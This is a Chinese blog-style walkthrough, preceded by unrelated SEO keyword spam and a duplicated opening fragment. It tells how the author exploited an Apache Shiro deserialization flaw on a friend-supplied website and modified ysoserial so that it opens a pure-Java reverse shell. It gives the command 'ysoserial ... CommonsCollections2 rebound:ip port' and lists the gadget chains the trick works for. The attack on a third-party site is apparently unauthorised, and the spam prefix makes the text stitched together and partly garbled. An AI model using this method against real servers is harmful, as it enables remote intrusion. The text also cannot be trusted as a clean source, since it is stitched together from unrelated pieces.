深圳画册设计网站,微网站开发第三方平台,黑河北京网站建设,互联网行业使用收益法进行评估时背景某天闲着无聊#xff0c;小伙伴发来一个某网站#xff0c;说只能执行命令#xff0c;不能反弹shell。测试对着目标站点一顿测试。发现确实存在shiro反序列化#xff0c;并且存在可以利用的gadget。利用发现确实可以执行命令#xff0c;但是我们执行反弹的时候。反弹不…背景某天闲着无聊小伙伴发来一个某网站说只能执行命令不能反弹shell。测试对着目标站点一顿测试。发现确实存在shiro反序列化并且存在可以利用的gadget。利用发现确实可以执行命令但是我们执行反弹的时候。反弹不回来emmm。查看各种系命令以及分析。发现是一个精简的Linux经常用于docker环境的搭建。并没有bash环境。使用sh命令反弹结果一样之后尝试了各种反弹的方法一言难尽。所以我们需要一种新的反弹方法利用java直接创建一个socket反弹。ysoserialysoserial是一款在Github开源的知名java 反序列化利用工具里面集合了各种java反序列化payload。源码下载地址https://codeload.github.com/frohoff/ysoserial/zip/master在很多java类的反序列化攻击场景中会利用到该工具。例如apache shiro反序列化会使用ysoserial生成反序列化语句再使用key加密发送攻击payload。如下python脚本就是利用ysoserial生成反序列化语句再用key加密生成cookie。目的各种各样的反弹shell注入bash、sh、perl、nc、python等等都比较依赖目标系统的环境和操作系统类型等等如果可以直接利用java创建一个socket反弹shell则可以无需关心这些环境直接反弹shell。ysoserial分析在执行ysoserial的时候一般使用的命令是java -cp ysoserial.jar /某个payload/ /命令/打开源码分析对应的payload类执行过程如CommonsCollections2。在执行该类的时候运行payloadrunner类的run方法来执行本类的class文件再加上接收的参数跟入payloadrunner类。这里会调用payload中的getObject方法传入要执行的命令命令是接收的输入或者是getDefaultTestCmd()也就是说我们如果不输入命令他会执行以下默认命令。Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac如果输入了命令会执行自定义命令接下来会执行getObject方法()来生成payload跟入对应类的getObject方法。getObject方法中调用Gadgets类中的createTemplatesImpl方法生成临时的java字节码文件跟入对应的方法。ysoserial改造可以看到作者在命令获取处已经留下了注释。待做:也可以做一些有趣的事情比如注入一个纯JavaRev/BindShell来绕过幼稚的保护。TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections一般情况我们在ysoserial后面写的命令调用的是java.lang.Runtime.getRuntime().exec()方法来执行命令写死了此处我们可以进行改造。在原来的代码基础上写成这样我们再重新打包ysoserial文件再执行命令时使用如下格式。java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 rebound:ip port可以直接获得一个反弹shell。生成payload利用发送。Bingo得到一个反弹shell。ysoserial改造总结由于不是所有的payload在构造时都调用了Gadgets.createTemplatesImpl,所以只有以下几种适用于以上修改。CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1此方法不依赖于目标操作系统和组件可以直接利用java创建反弹shell。